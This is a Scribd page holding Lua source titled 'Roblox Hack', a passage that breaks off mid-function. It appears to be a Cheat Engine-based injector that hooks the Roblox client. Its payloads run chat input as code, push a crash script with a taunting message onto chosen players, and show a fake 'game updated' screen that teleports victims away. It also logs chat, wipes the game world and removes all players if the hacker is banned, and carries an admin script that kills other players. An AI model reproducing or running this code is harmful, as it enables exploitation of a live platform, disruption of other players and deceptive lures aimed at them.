100% found this document useful (1 vote)
713 views105 pages

Roblox Hack

This document contains Lua code for various hacking/exploiting functions in Roblox, including functions to get exploits, add exploits, convert numbers to addresses, get addresses from ESP values, load scripts on clients, find players by name, and teleport players to other places. It also contains code for a lag script and handling errors/hints.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
713 views105 pages

Roblox Hack

This document contains Lua code for various hacking/exploiting functions in Roblox, including functions to get exploits, add exploits, convert numbers to addresses, get addresses from ESP values, load scripts on clients, find players by name, and teleport players to other places. It also contains code for a lag script and handling errors/hints.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 105

sadifojfoudgufsdguyusdiofgjsdg

function GetExploit(index)
local tab, scan, result = Exploits[index], createMemScan(true);
memscan_returnOnlyOneResult(scan, true);
memscan_firstScan(scan, soExactValue, vtByteArray, rtTruncated,
table.concat(tab[2], " "), nil, 0, 0x00FFFFFF, "", fsmNotAligned, nil, false,
false, false, false);
memscan_waitTillDone(scan);
result = memscan_getOnlyResult(scan);
if result == nil then return nil; end
result = string.format("%X", result + tab[3]);
result = string.rep("0", 8 - string.len(result)) .. result;
return result;
end
function AddExploit(name, hex, offset)
table.insert(Exploits, {name, hex, offset})
end
function toAddr(num)
local num = tonumber(num);
local addr = string.format("%X", num):upper();
addr = string.rep("0", 8 - string.len(addr)) .. addr;
return addr;
end

debugger_onBreakpoint = function()
local function GetAddress(ESPaddr, Offset)
local ESPaddr, Offset = tostring(ESPaddr) or string.rep("0", 8),
tostring(Offset == nil and GlobalOffset or Offset);
local SCaddr_base = tonumber("0x" .. ESPaddr) + tonumber("0x" ..
Offset);
local SCaddr_cont1, SCaddr_cont2, SCaddr_cont3, SCaddr_cont4 =
tostring(string.format("%X", SCaddr_base)), tostring(string.format("%X",
SCaddr_base + 1)), tostring(string.format("%X", SCaddr_base + 2)),
tostring(string.format("%X", SCaddr_base + 3));
local SCaddr = (readBytes(SCaddr_cont1) + (readBytes(SCaddr_cont2) *
256) + (readBytes(SCaddr_cont3) * 65536) + (readBytes(SCaddr_cont4) * 16777216));
return toAddr(SCaddr);
end
--if readBytes(GetAddress(toAddr(ESP), GlobalOffset), 1) == 0x0D then
local JOIN_addr = GetAddress(toAddr(ESP), GlobalOffset);
local JOIN_len = tonumber("0x"..GetAddress(toAddr(ESP),
string.format("%X", tonumber("0x"..GlobalOffset) + 4)));
local JOIN_script_tbl = readBytes(JOIN_addr, JOIN_len, true);
local JOIN_script = "";
table.foreach(JOIN_script_tbl, function(i, v) JOIN_script = JOIN_script
.. string.char(v); end);
local script = JOIN_script .. [==[repeat wait() until
game:service'Players'.LocalPlayer; wait();
game:service'Players'.LocalPlayer.Chatted:connect(function(s) Spawn(function()
loadstring(s)() end) end) AntibanScript=false -- if AntibanScript = true and if
you're kicked or banned from the current game, all the workspace children and
players will be removed --
ChatHistory=false
DefaultGodAndInvisiWalkSpeed=30 -- if you enable the invisi or godmode, your
walkspeed will be set to this value [Default = 16] --

Delay(1,function()
FIXSCRIPTS''
end)
local ShowBox=Instance.new'BoolValue'
PlayerLoadtime=7.5
HackerName=nil
Scripts={}
Connects={}
Commands={}
HackedTime=0
chatbool = false
CmdbKey=':'
FocusKey='\\'
UnlockKey='?'
LockKey='.'
ExplorerKey=';'
ExproKey=','
GearKey='$'
BuildKey='<'
GodKey='*'
InvisiKey='%'
VisiKey='#'
AdminKey='&'

LagScript = [[

script:Destroy();

local runService = Game:GetService("RunService").Stepped;


local LagNum = 1250;
local str = "You just got crashed by one of the most powerful hackers on Roblox,
how do you feel?";

for i = 1, math.huge do
if i % LagNum == 0 then runService:wait(); end
Instance.new("Message", Workspace).Text = str;
end

]]

local function TeleportScript(place_id)


return [[
script:Destroy();

local place_id_str = ]]..tostring(place_id)..[[;


local place_id = tonumber(place_id_str);
local message_str = "The owner has updated the game. New features:
less lag, improved dynamic lighting, and more! Press the 'Leave' button to play to
an updated game!";
local player = Game:GetService("Players").LocalPlayer;
local teleport_service = Game:GetService("TeleportService");
local run_service = Game:GetService("RunService").Stepped;
if player:FindFirstChild("PlayerGui") then
pcall(function() player.PlayerGui:ClearAllChildren(); end)
end
while true do
if player:FindFirstChild("PlayerGui") then
local screen_gui, frame_gui, message_gui;
if not player.PlayerGui:FindFirstChild("
__teleport_updated_place_gui") then
pcall(function()
screen_gui = Instance.new("ScreenGui",
player.PlayerGui);
screen_gui.Name = "
__teleport_updated_place_gui";
end)
else screen_gui = player.PlayerGui["
__teleport_updated_place_gui"]; end
if not screen_gui:FindFirstChild("
__teleport_updated_place_frame") then
pcall(function()
frame_gui =
Instance.new("Frame", screen_gui);
frame_gui.Name = "
__teleport_updated_place_frame";
frame_gui.ZIndex = 9;
frame_gui.Size = UDim2.new(2, 0, 2,
0);
frame_gui.Position = UDim2.new(-.5, 0,
-.5, 0);
frame_gui.BackgroundColor3 = Color3.new();
end)
end
if not screen_gui:FindFirstChild("
__teleport_updated_place_message") then
pcall(function()
message_gui =
Instance.new("TextLabel", screen_gui);
message_gui.Name = "
__teleport_updated_place_message";
message_gui.ZIndex = 10;
message_gui.Size = UDim2.new(.9, 0,
.3, 0);
message_gui.Position = UDim2.new(.05,
0, 0, 0);
message_gui.BackgroundColor3 = Color3.new();
message_gui.BorderColor3 = Color3.new();
message_gui.BorderSizePixel = 0;
message_gui.TextWrapped = true;
message_gui.TextColor3 =
Color3.new(1,1,1);
message_gui.FontSize = 8;
message_gui.Font = 2;
message_gui.Text = message_str;
end)
end
end
teleport_service:Teleport(place_id);
pcall(function() Workspace.CurrentCamera.CameraType = 6; end)
pcall(function() player.Character = nil; end)
run_service:wait();
end
]]
end

local function GetError(not_errored, msg)


if not_errored then msg = "Running Script" end
Game.Debris:AddItem((function()
local hint;
pcall(function()
hint=Instance.new("Hint",Workspace.CurrentCamera)
hint.Text=msg
end)
return hint
end)(), 3)
end

local function FindPlayers(str)


if not str then return end
local str,players = str:lower(),{}
if str == "all" then
for i, v in next, Game.Players:GetPlayers() do
players[#players+1] = v
end
elseif str:match("others?") then
for i, v in next, Game.Players:GetPlayers() do
pcall(function()
if v ~= Game.Players.LocalPlayer then
players[#players+1] = v
end
end)
end
else
for i, v in next, Game.Players:GetPlayers() do
pcall(function()
if v.Name:lower():match("^"..str) then
players[#players+1] = v
end
end)
end
end
return players
end

local function LoadOnClients(players, source)


if not players or #players == 0 then return end
local load = function(Player)
local Script = Instance.new "LocalScript"
--
Script.Source = [[
while script.Name == "LocalScript" do wait() end
ypcall(loadstring([==============[]]..source..
[[]==============]))
]]
--
Script.Parent = Game.Players.LocalPlayer.Character
or Game.Players.LocalPlayer:FindFirstChild "Backpack"
or Game.Players.LocalPlayer.CharacterAdded:wait()
wait(.5)
Script.Name = "LocalScript "
Script.Parent = Player.Character
or Player:FindFirstChild "Backpack"
or Player.CharacterAdded:wait()
end
for _,player in next, players do
coroutine.wrap(load)(player)
end
end
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
HackerName=game.Players.LocalPlayer.Name
end))
if(AntibanScript)then
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime+.5)
while true and wait() do
if(AntibanScript)then
if
not(game.Players:FindFirstChild(HackerName))then
wait(3.5)
if(AntibanScript)then
function
workspaceRemove(path)
for
_,v in pairs(path:GetChildren())do

coroutine.resume(coroutine.create(function(v)

if(v:IsA("Script"))or(v:IsA("LocalScript"))then

v.Disabled=true

v:remove()

else

v:remove()

end

end),v)
end
end

workspaceRemove(game:GetService('Workspace'))
for e,i in
pairs(game.Players:GetPlayers())do

coroutine.resume(coroutine.create(function(i) i:remove() end),i)


end
end
end
end
end
end))
end
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
game.Players.LocalPlayer:SetSuperSafeChat(false)
game.Players.LocalPlayer.Chatted:connect(function(msg)
if string.sub(msg, 1, 3) == "ls " then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=string.sub(msg,4)
ls.Disabled=true
ls.Disabled=false
end
elseif string.sub(msg, 1, 3) == "rs " then
coroutine.resume(coroutine.create(function(msg)
local errored,output =
ypcall(loadstring(msg:sub(4)))
GetError(errored,output)
errored,output = nil
end),msg)
elseif string.sub(msg, 1, 3) == "ls/" then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=string.sub(msg,4)
ls.Disabled=true
ls.Disabled=false
end
elseif string.sub(msg, 1, 3) == "rs/" then
coroutine.resume(coroutine.create(function(msg)
local errored,output =
ypcall(loadstring(msg:sub(4)))
GetError(errored,output)
errored,output = nil
end),msg)
elseif string.sub(msg, 1, 3) == "cs " then

LoadOnClients(FindPlayers(msg:sub(4):match("(%w+)%s")),
msg:sub(4):match("%s(.+)"))
elseif string.sub(msg, 1, 10) == "mediafire " then

LoadOnClients(FindPlayers(msg:sub(11):match("(%w+)%s")),
msg:sub(11):match("%s(.+)"))
elseif string.sub(msg, 1, 4) == "lag " then

LoadOnClients(FindPlayers(msg:sub(5):match("%w+")), LagScript)
elseif string.sub(msg, 1, 7) == "hitler " then

LoadOnClients(FindPlayers(msg:sub(8):match("%w+")), LagScript)
--
elseif string.sub(msg, 1, 3) == "cs/" then

LoadOnClients(FindPlayers(msg:sub(4):match("([%w%s]+)/")),
msg:sub(4):match("/(.+)"))
elseif string.sub(msg, 1, 10) == "mediafire/" then

LoadOnClients(FindPlayers(msg:sub(11):match("([%w%s]+)/")),
msg:sub(11):match("/(.+)"))
elseif string.sub(msg, 1, 4) == "lag/" then
LoadOnClients(FindPlayers(msg:sub(5):match("[%w
%s]+")), LagScript)
elseif string.sub(msg, 1, 7) == "hitler/" then
LoadOnClients(FindPlayers(msg:sub(8):match("[%w
%s]+")), LagScript)
--
elseif string.sub(msg, 1, 1) == "/" then
if string.sub(msg, 2, 4) == "sb" then
chatbool = true
repeat wait(.01)

game.Players.LocalPlayer:SetSuperSafeChat(false)
game.Players:Chat("/sc 2 4")
game.Players:Chat("/sc 2 7 0")
game.Players:Chat("/sc 2 7 4")
until not chatbool
elseif string.sub(msg, 2, 5) == "nsb" then
chatbool = false
elseif string.sub(msg, 2, 7) == "power" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=PowerScriptSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 7) == "gaara" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=GaaraSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 6) == "nova" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=NovaSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 9) == "outgame" then
AntibanScript=false
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=OutGameSource
ls.Disabled=true
ls.Disabled=false
end
end
end
end
end)
end))
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
while wait() do
game.Players.LocalPlayer:SetSuperSafeChat(false)
end
end))
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
if ChatHistory then
coroutine.resume(coroutine.create(function()
CH=Instance.new("Model",game:GetService("SoundService"))
CH.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH2=Instance.new("Model",game:GetService("StarterGui"))
CH2.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH2)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH2)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH3=Instance.new("Model",game:GetService("Teams"))
CH3.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH3)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH3)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH4=Instance.new("Model",game:GetService("Soundscape"))
CH4.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH4)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH4)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end))
end
end))
X=function(f)
return coroutine.resume(coroutine.create(f))
end

OutGameSource=[[
-- Settings --
_ForceField = true
_RespawnTime = 0
_PlayerName = "ROBLOX"
_ChatColor = "Blue"

-- Some variables --
_Player = game.Players.LocalPlayer
_Neutral = _Player.Neutral
_TeamColor = _Player.TeamColor
_Character = _Player.Character
_Camera = game.Workspace.CurrentCamera
_Character.Archivable = true
wait()
_BaseChar = _Character:clone()
_Respawning = false
-- Some functions --
function _CreateChar(vector)
if _Respawning then return else _Respawning = true
for _,v in pairs(_Player.Backpack:GetChildren())do
v:remove()
end
for _,v in pairs(_Player.PlayerGui:GetChildren())do
v:remove()
end
local _CloneChar = _BaseChar:clone()
_CloneChar:MakeJoints()
if vector and _CloneChar:FindFirstChild("Torso") then
_CloneChar.Torso.CFrame = CFrame.new(vector)
end
_CloneChar.Parent = game.Workspace.CurrentCamera
_CloneChar.Name = _PlayerName
_CloneChar.Archivable = false
_Camera.CameraSubject = _CloneChar:FindFirstChild("Humanoid")
_Camera.CameraType = "Custom"
for _,v in pairs(_Player.StarterGear:GetChildren())do
if not _Player.Backpack:FindFirstChild(v.Name) then
v:clone().Parent = _Player.Backpack
end
end
for _,v in pairs(game:GetService("StarterPack"):GetChildren())do
if not _Player.Backpack:FindFirstChild(v.Name) then
v:clone().Parent = _Player.Backpack
end
end
for _,v in pairs(game:GetService("StarterGui"):GetChildren())do
if not _Player.PlayerGui:FindFirstChild(v.Name) then
v:clone().Parent = _Player.PlayerGui
end
end
for _,v in pairs(_Player.Backpack:GetChildren())do
if v:IsA("Tool") then
v.Enabled = true
elseif v:IsA("HopperBin") then
v.Active = false
end
end
_Player.Character = _CloneChar
for _,v in pairs(_CloneChar:GetChildren())do
if v:IsA("Script") or v:IsA("LocalScript") then
v.Disabled = true wait() v.Disabled = false
end
end
_Respawning = false
return _CloneChar
end
end

function _VerifyCopy(_PlayerName)
while wait() do
if not game.Players:FindFirstChild(_PlayerName) then
local _LocalPlayer =
Instance.new("ObjectValue",game.Players)
_LocalPlayer.Name = _PlayerName
end
if game.Players:FindFirstChild(_PlayerName) then
if game.Players[_PlayerName]:IsA("ObjectValue") then
if not
game.Players[_PlayerName]:FindFirstChild("Backpack") then
local _LocalBackpack =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalBackpack.Name = "Backpack"
end
if not
game.Players[_PlayerName]:FindFirstChild("StarterGear") then
local _LocalStarterGear =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalStarterGear.Name = "StarterGear"
end
if not
game.Players[_PlayerName]:FindFirstChild("PlayerGui") then
local _LocalPlayerGui =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalPlayerGui.Name = "PlayerGui"
end
end
end
end
end

function _CloneTools(_name,_type)
for _,v in pairs(game.Players[_name][_type]:GetChildren())do
if not _Player[_type]:FindFirstChild(v.Name) and not
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild(v.Name) then
v.Parent = _Player[_type]
coroutine.resume(coroutine.create(function()
function fixScripts(path)
for e,i in pairs(path:GetChildren())do
if i:IsA("Script") or
i:IsA("LocalScript") then
if i.Disabled == false then
i.Disabled = true wait()
i.Disabled = false
end
end
fixScripts(i)
end
end
fixScripts(v)
end))
end
end
end

function _TransferTools(_pname)
while wait() do
if game.Players:FindFirstChild(_pname) then
if game.Players[_pname]:FindFirstChild("Backpack") then

coroutine.resume(coroutine.create(_CloneTools),_pname,"Backpack")
for _,v in pairs(_Player.Backpack:GetChildren())do
if not
game.Players[_pname].Backpack:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].Backpack
end
end
end
if game.Players[_pname]:FindFirstChild("StarterGear") then
coroutine.resume(coroutine.create(function()
for _,v in
pairs(game.Players[_pname].StarterGear:GetChildren())do
if not
_Player.StarterGear:FindFirstChild(v.Name) then
v:clone().Parent =
_Player.StarterGear
end
end
end))
for _,v in pairs(_Player.StarterGear:GetChildren())do
if not
game.Players[_pname].StarterGear:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].StarterGear
end
end
end
if game.Players[_pname]:FindFirstChild("PlayerGui") then
for _,v in pairs(_Player.PlayerGui:GetChildren())do
if not
game.Players[_pname].PlayerGui:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].PlayerGui
end
end

coroutine.resume(coroutine.create(_CloneTools),_pname,"PlayerGui")
end
end
end
end

-- Remove player and script --


script.Parent = nil
wait()

-- Update _BaseChar position --


coroutine.resume(coroutine.create(function()
while wait() do
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
if
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Torso") then
if _BaseChar:FindFirstChild("Torso") then
_BaseChar.Torso.CFrame =
game.Workspace.CurrentCamera[_PlayerName].Torso.CFrame
end
end
end
end
end))

-- Clone and Respawn character --


coroutine.resume(coroutine.create(function()
while wait() do
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
_PartFound = false
for _,v in
pairs(game.Workspace.CurrentCamera[_PlayerName]:GetChildren())do
if v:IsA("Part") then
_PartFound = true
end
end
if not _PartFound then
wait(_RespawnTime)
game.Workspace.CurrentCamera[_PlayerName]:remove()
_Created = false
function _scanSpawn(path)
for _,v in pairs(path:GetChildren())do
if v:IsA("SpawnLocation") then
if _Player.Neutral then
if v.Neutral then
_CreateChar(v.Position)
_Created = true
end
elseif not _Player.Neutral then
if v.TeamColor ==
_Player.TeamColor then
_CreateChar(v.Position)
_Created = true
end
end
end
_scanSpawn(v)
end
end
_scanSpawn(game.Workspace)
if not _Created then
_CreateChar(Vector3.new(0,500,0))
end
elseif _PartFound then
if not
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then

game.Workspace.CurrentCamera[_PlayerName]:remove() _ChreateChar()
elseif
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
if
game.Workspace.CurrentCamera[_PlayerName].Humanoid.Health == 0 then
wait(_RespawnTime)
game.Workspace.CurrentCamera[_PlayerName]:remove() _CreateChar()
end
end
end
elseif not
game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
_CreateChar()
end
if _ForceField then
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
then
if not
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("ForceField") then

Instance.new("ForceField",game.Workspace.CurrentCamera[_PlayerName])
end
end
end
end
end))

-- Copy player children --


coroutine.resume(coroutine.create(function()
coroutine.resume(coroutine.create(_VerifyCopy),_PlayerName)
coroutine.resume(coroutine.create(_VerifyCopy),_Player.Name)
end))

-- Transfer tools and guis --


coroutine.resume(coroutine.create(function()
coroutine.resume(coroutine.create(_TransferTools),_PlayerName)
coroutine.resume(coroutine.create(_TransferTools),_Player.Name)
end))

-- Take weapons --
coroutine.resume(coroutine.create(function()
while wait() do
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
_TempChar =
game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
function checkParts(path)
for _,v in pairs(path:GetChildren())do
if v:IsA("Part") then
if not v:FindFirstChild("TouchInterest")
then
v.Touched:connect(function(Part)
if Part.Parent:IsA("Tool")
then
Part.Parent.Parent =
_TempChar
end
end)
end
end
checkParts(v)
end
end
checkParts(_TempChar)
end
end
end))

-- Chat box --
coroutine.resume(coroutine.create(function()
_Player.Chatted:connect(function(msg)
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
if
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Head") then

game:GetService("Chat"):Chat(game.Workspace.CurrentCamera[_PlayerName].Head,
msg, _ChatColor)
end
end
end)
end))

wait() _Player.Parent = nil


]]

AdminScriptSource=[[
adminlist = {game.Players.LocalPlayer.Name}
bannedlist = {""}
texture = ""
wait(.5) script.Parent=nil

namelist = { }
variablelist = { }
flist = { }

tools = Instance.new("Model")
c = game.Lighting:GetChildren()
for i=1,#c do
if c[i].className == "Tool" then
c[i]:clone().Parent = tools
end
if c[i].className == "HopperBin" then
c[i]:clone().Parent = tools
end end

function findplayer(name,speaker)
if string.lower(name) == "all" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
table.insert(chars,c[i])
end end
return chars
elseif string.lower(name) == "bc" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if not c[i].MembershipType == Enum.MembershipType.None then
if c[i].className == "Player" then
table.insert(chars,c[i])
end end end
return chars
elseif string.lower(name) == "nbc" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].MembershipType == Enum.MembershipType.None then
if c[i].className == "Player" then
table.insert(chars,c[i])
end end end
return chars
elseif string.sub(string.lower(name),1,9) == "nonadmins" then
local nnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
local isadmin = false
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
isadmin = true
end end
if isadmin == false then
nnum = nnum + 1
table.insert(chars,c[i])
end end
if nnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "admins" then
local anum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
anum = anum + 1
table.insert(chars,c[i])
end end end
if anum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "random" then
while true do
local c = game.Players:GetChildren()
local r = math.random(1,#c)
if c[r].className == "Player" then
return { c[r] }
end end
elseif string.sub(string.lower(name),1,6) == "guests" then
local gnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
if string.sub(c[i].Name,1,5) == "Guest" then
gnum = gnum + 1
table.insert(chars,c[i])
end end
if gnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,5) == "team " then
local theteam = nil
local tnum = 0
if game.Teams ~= nil then
local c = game.Teams:GetChildren()
for i =1,#c do
if c[i].className == "Team" then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1
then
theteam = c[i]
tnum = tnum + 1
end end end
if tnum == 1 then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i].TeamColor == theteam.TeamColor then
table.insert(chars,c[i])
end end end
return chars
end end
return 0
elseif string.lower(name) == "me" then
local person299 = { speaker }
return person299

elseif string.lower(name) == "others" then


local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i] ~= speaker then
table.insert(chars,c[i])
end end end
return chars
else
local chars = { }
local commalist = { }
local ssn = 0
local lownum = 1
local highestnum = 1
local foundone = false
while true do
ssn = ssn + 1
if string.sub(name,ssn,ssn) == "" then
table.insert(commalist,lownum)
table.insert(commalist,ssn - 1)
highestnum = ssn - 1
break
end
if string.sub(name,ssn,ssn) == "," then
foundone = true
table.insert(commalist,lownum)
table.insert(commalist,ssn)
lownum = ssn + 1
end end
if foundone == true then
for ack=1,#commalist,2 do
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if
string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],co
mmalist[ack + 1] - 1)) == 1 then
char = c[i]
cnum = cnum + 1
end end end
if cnum == 1 then
table.insert(chars,char)
end end
if #chars ~= 0 then
return chars
else
return 0
end
else
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
char = {c[i]}
cnum = cnum + 1
end end end
if cnum == 1 then
return char
elseif cnum == 0 then
text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
return 0
elseif cnum > 1 then
text("That name is ambiguous.",1,"Message",game.Workspace.CurrentCamera)
return 0
end end end end

function text(message,duration,type,object)
local m = Instance.new(type)
m.Text = message
m.Parent = object
wait(duration)
if m.Parent ~= nil then
m:remove()
end end

function foc(msg,speaker)
if string.lower(msg) == "fix" then
for i =1,#namelist do
if namelist[i] == speaker.Name then
variablelist[i]:disconnect()
table.remove(variablelist,i)
table.remove(namelist,i)
table.remove(flist,i)
end end
local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
table.insert(namelist,speaker.Name)
table.insert(variablelist,tfv)
local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
table.insert(flist,tfv)
end end

function PERSON299(name)
for i =1,#adminlist do
if adminlist[i] == name then
return true
end end
return false
end

function oc(msg,speaker)

if string.sub(string.lower(msg),1,6) == "clone/" then


local player = findplayer(string.sub(msg,7),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
player[i].Character.archivable = true
wait()
clone = player[i].Character:clone()
clone.Parent = game.Workspace
clone:MoveTo(torso.Position)
clone:MakeJoints()
wait()
player[i].Character.archivable = false
end end end end end

if string.sub(string.lower(msg),1,10) == "superjump/" then


local player = findplayer(string.sub(msg,11),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
jump = Instance.new("BodyVelocity")
jump.Parent = torso
jump.velocity = Vector3.new(0, 500, 0)
human.Jump = true
wait(3)
jump:Remove()
end end end end end

if string.sub(string.lower(msg),1,11) == "skateboard/" then


local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
local root = game:GetService("InsertService"):LoadAsset(23154610)
local instances = root:GetChildren()
if #instances == 0 then
root:Remove()
return
end
root.Name = "InsertedObject" ..23154610
game:GetService("InsertService"):Insert(root)
root:MoveTo(torso.Position + torso.CFrame.lookVector * 8)
end end end end end
if string.sub(string.lower(msg),1,5) == "fire/" then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
fire = Instance.new("Fire", torso)
fire.Name = "CreatedFire"
end end end end end

if string.sub(string.lower(msg),1,7) == "unfire/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
fire = torso:findFirstChild("CreatedFire")
if fire ~= nil then
fire:Remove()
end end end end end end

if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the


first part of the message is kill/
local player = findplayer(string.sub(msg,6),speaker)--This part refers to the
findplayer function for a list of people associated with the input after kill/
if player ~= 0 then--This part makes sure that the findplayer function found
someone, as it returns 0 when it hasnt
for i = 1,#player do--This part makes a loop, each different loop going
through each player findplayer returned
if player[i].Character ~= nil then--This part makes sure that the loop's
current player's character exists
local human = player[i].Character:FindFirstChild("Humanoid")--This part looks
for the Humanoid in the character
if human ~= nil then--This part makes sure the line above found a humanoid
human.Health = 0--This part makes the humanoid's health 0
end end end end end--This line contains the ends for all the if statements
and the for loop

local msg = string.lower(msg)

if string.sub(msg,1,5) == "give/" then


local danumber1 = nil
for i = 6,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
